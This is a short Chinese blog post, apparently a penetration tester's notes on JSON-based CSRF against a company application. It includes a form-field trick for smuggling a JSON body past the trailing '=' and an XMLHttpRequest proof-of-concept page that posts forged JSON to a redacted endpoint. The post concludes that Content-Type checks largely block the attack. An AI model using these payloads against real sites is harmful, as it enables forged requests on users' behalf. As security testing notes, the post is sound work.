json CSRF

背景介绍

公司需要上线新业务,发现了有个应用没有对CSRF做防护,本来想着使用burpsuite简单的生成一个POC就可以产出了。结果发现如下问题,在使用form的表格进行CSRF poc生成。
1,如果使用form的话,生成的内容会多一个 ‘=’ 号,结果导致json不能很好的解析,绕过办法:<code>name='{"added":[{"id":1,"title":"test"}],"ignore_me":"' value='test"}'/></code>

2,如果应用对content-type:application/json;utf-8 做了检查,那么由于form的enctype的限制,所以无法修改。

3,使用xmlhttp
<code>
<html>
<script language="javascript" type="text/javascript">
function jsonreq()
{
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","http://xxx.xxx.com/api/xxx",true);
xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({"_xxx":null,"category":"internet","xxx":"project","description":"csrf","recent":[0,0,0,0,0],"task":{"total":0,"done":0,"today":0},"navigation":{"home":0,"tasks":1,"posts":2,"files":3,"events":4,"review":5,"tag":6,"xxx":-1},"logo":null,"name":"localcsrf"}));;
}
jsonreq();
</script>
</html>
</code>
由于同源策略,所以很难有什么绕过方法。
目前发现如果对content-type做了检查,CSRF很难实现。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容